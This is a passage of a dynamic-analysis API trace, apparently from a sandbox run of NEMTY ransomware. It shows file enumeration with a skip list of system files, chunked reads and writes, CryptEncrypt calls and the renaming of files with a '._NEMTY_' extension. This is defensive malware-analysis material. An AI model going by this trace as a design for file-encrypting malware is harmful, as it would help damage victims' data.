lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.721] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0064.753] CloseHandle (hObject=0xffffffff) returned 0 [0064.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0064.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0064.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0064.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0064.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.754] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0064.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.754] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0064.754] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0064.754] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0064.754] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0064.754] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0064.754] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0064.754] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0064.755] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0064.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0064.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0064.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0064.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0064.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0064.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0064.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0064.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0064.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0064.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0064.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0064.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0064.756] Sleep (dwMilliseconds=0x5) [0064.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda4091b0, dwHighDateTime=0x1d561e7)) [0064.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda4091b0, dwHighDateTime=0x1d561e7)) [0064.778] GetLastError () returned 0x5 [0064.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0064.778] GetLastError () returned 0x5 [0064.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0064.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0064.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0064.778] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0064.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0064.778] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="Qgdlm6/VnlxY6domORdJWrvLO2jJnM2Uv3UBh9I2bw4WotrldEsmwoIXWiHCtVBS\r\n0CQsf8qAhEzsMtjsn/2bk2rPfbFhKf8E41X0lgRXkBLnhyqHSNbKUVyoLV9SevR8\r\nuM03kxuyPU1pQXMCeoK6iGfMeBi2TVVqWXCIN+jNjpTkVzRZDluYX5sFJijc6xU3\r\naeqMd0NhgA51Q0PDqsTmm85eoJuGy7znmKRZVCwjvsC7UIQP+9ESamjesvlYrtIE\r\nsZemP4CSUNRRRmYM/VhCu3UOQteI/3icc2AHh0TGmUGIK8rXjgMwOpnVAPGyBgl7\r\nINcRD1F2a1DTCEr8HVyQzg==\r\n", pcchString=0x653e91c) returned 1 [0064.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0064.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0064.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0064.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0064.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0064.779] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.779] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0064.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0064.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.854] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.854] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, 